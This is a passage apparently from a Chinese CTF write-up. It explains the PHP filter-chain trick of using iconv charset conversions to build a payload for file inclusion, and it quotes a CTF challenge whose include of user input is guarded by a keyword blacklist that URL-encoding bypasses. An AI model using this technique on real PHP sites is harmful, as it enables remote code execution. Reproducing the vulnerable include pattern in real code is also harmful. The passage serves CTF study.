至于需要把$base64_payload反转则是因为是从右边开始产生字符,然后在最左边通过convert.iconv.UTF8.CSISO2022KR来生成\x1b$)C然后进行利用,还不能影响后面已经产生的字符。

至于convert.iconv.UTF8.UTF7单纯的防止=的干扰。

个人觉得可能对于字符集有一定的要求,不同的环境似乎有的字符集不存在导致了POC打不通,或许更近一步fuzz的话可能能得到更为通用的字符集构造的POC。

其实,看到这个的时候,感觉有一丝丝的眼熟,今年的羊城杯:

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}
if(fliter($_SERVER["QUERY_STRING"])) {
    include $file;
}else {
    die("Noooo0");
}

在原先的基础上加了一个黑名单,上面的payload加一个url_encode就能通了